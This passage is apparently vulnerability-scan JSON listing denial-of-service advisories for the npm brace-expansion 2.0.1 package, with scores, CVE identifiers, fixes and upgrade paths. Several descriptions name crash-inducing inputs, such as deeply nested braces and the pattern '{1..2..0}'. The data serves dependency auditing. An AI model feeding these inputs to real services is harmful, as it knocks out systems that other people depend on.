"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmexec@9.0.5",
"pacote@19.0.2",
